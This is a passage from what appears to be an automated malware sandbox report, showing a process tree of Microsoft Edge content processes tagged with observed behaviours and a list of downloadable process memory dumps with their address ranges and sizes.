                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          PID:7468
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          PID:7196
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                          PID:6404
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                          PID:5876
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                          PID:4644
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                                                          PID:7688
                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:5300
                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                            PID:6260
                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                            PID:5888
                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                            PID:8552
                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                            PID:6780

                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                          • memory/184-309-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            80KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/492-350-0x00000000772E0000-0x000000007746E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/492-345-0x00000000055D0000-0x00000000055D1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/508-393-0x0000000004820000-0x00000000048BD000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            628KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/508-403-0x0000000000400000-0x0000000002D0E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            41.1MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-164-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-221-0x0000000004D10000-0x0000000004D11000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-183-0x0000000004A60000-0x0000000004A61000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-176-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-199-0x00000000049B0000-0x0000000004FB6000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/1184-181-0x0000000004A00000-0x0000000004A01000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2136-189-0x00000000772E0000-0x000000007746E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2136-200-0x0000000000E20000-0x0000000000E21000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2136-225-0x0000000005540000-0x0000000005541000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2152-163-0x0000000000E60000-0x0000000000E61000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2152-202-0x0000000005860000-0x0000000005861000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2152-175-0x00000000056F0000-0x00000000056F1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2264-208-0x0000000005E60000-0x0000000005E61000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2264-191-0x0000000005950000-0x0000000005951000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2264-165-0x0000000000F80000-0x0000000000F81000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2624-180-0x0000000002420000-0x000000000243C000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            112KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2624-207-0x0000000002440000-0x0000000002442000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2624-150-0x0000000000430000-0x0000000000431000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2852-172-0x0000000000010000-0x0000000000011000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2852-185-0x0000000004810000-0x0000000004811000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/2852-188-0x0000000004810000-0x0000000004886000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            472KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3016-294-0x0000000000FE0000-0x0000000000FF6000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            88KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3128-114-0x0000000003A10000-0x0000000003B4F000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3336-228-0x0000000005840000-0x0000000005841000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3336-205-0x00000000772E0000-0x000000007746E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3336-198-0x0000000000250000-0x0000000000251000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3492-190-0x00000000772E0000-0x000000007746E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.6MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3492-203-0x00000000012B0000-0x00000000012B1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3492-251-0x00000000061A0000-0x00000000061A1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3572-383-0x000000001B540000-0x000000001B542000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3820-227-0x00000000023B0000-0x000000000245E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            696KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/3820-245-0x0000000000400000-0x00000000023AF000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            31.7MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4028-302-0x0000000004900000-0x0000000005226000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            9.1MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4028-311-0x0000000000400000-0x00000000027DB000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            35.9MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4044-161-0x0000000000740000-0x0000000000741000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4044-173-0x000000001AE20000-0x000000001AE22000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4044-144-0x0000000000120000-0x0000000000121000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4052-196-0x00000000056B0000-0x00000000056B1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4052-167-0x0000000000E00000-0x0000000000E01000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4052-193-0x00000000055B0000-0x0000000005BB6000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4360-287-0x0000000005010000-0x000000000550E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            5.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4360-231-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-326-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-318-0x0000000005030000-0x0000000005031000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-323-0x0000000005020000-0x0000000005021000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-319-0x0000000005010000-0x0000000005011000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-325-0x0000000005040000-0x0000000005041000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-327-0x0000000005060000-0x0000000005061000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-329-0x0000000005080000-0x0000000005081000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-330-0x0000000005090000-0x0000000005091000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-332-0x00000000050A0000-0x00000000050A1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-335-0x00000000050B0000-0x00000000050B1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-336-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-339-0x00000000050D0000-0x00000000050D1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-328-0x0000000005070000-0x0000000005071000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-317-0x0000000005000000-0x0000000005001000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-316-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-349-0x0000000005110000-0x0000000005111000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-347-0x00000000050F0000-0x00000000050F1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-341-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4372-348-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4380-282-0x0000000004D40000-0x0000000005346000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4380-232-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4396-285-0x0000000004E80000-0x0000000005486000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4396-235-0x0000000000400000-0x000000000041E000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4428-344-0x000001BDE8743000-0x000001BDE8745000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4428-343-0x000001BDE8740000-0x000001BDE8742000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4428-434-0x000001BDE8746000-0x000001BDE8748000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4468-399-0x00000000053E0000-0x00000000053E1000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4492-236-0x00000000003F0000-0x0000000000400000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4492-240-0x0000000000700000-0x000000000084A000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4512-459-0x0000025BD6FE0000-0x0000025BD70AF000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            828KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4512-458-0x0000025BD6F70000-0x0000025BD6FDF000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            444KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4564-295-0x0000000005680000-0x0000000005C86000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            6.0MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4612-312-0x00000000023C0000-0x000000000250A000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            1.3MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4612-321-0x0000000000400000-0x00000000023BB000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            31.7MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4716-447-0x0000000004A90000-0x0000000004A91000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4948-460-0x0000000007374000-0x0000000007376000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4948-462-0x0000000000400000-0x0000000002CD0000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            40.8MB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4948-463-0x0000000007370000-0x0000000007371000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/4948-451-0x00000000047C0000-0x00000000047EF000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            188KB

                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                          • memory/5040-379-0x0000000000030000-0x0000000000033000-memory.dmp

                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                            12KB

                                                                                                                                                                                                                                                                                            Download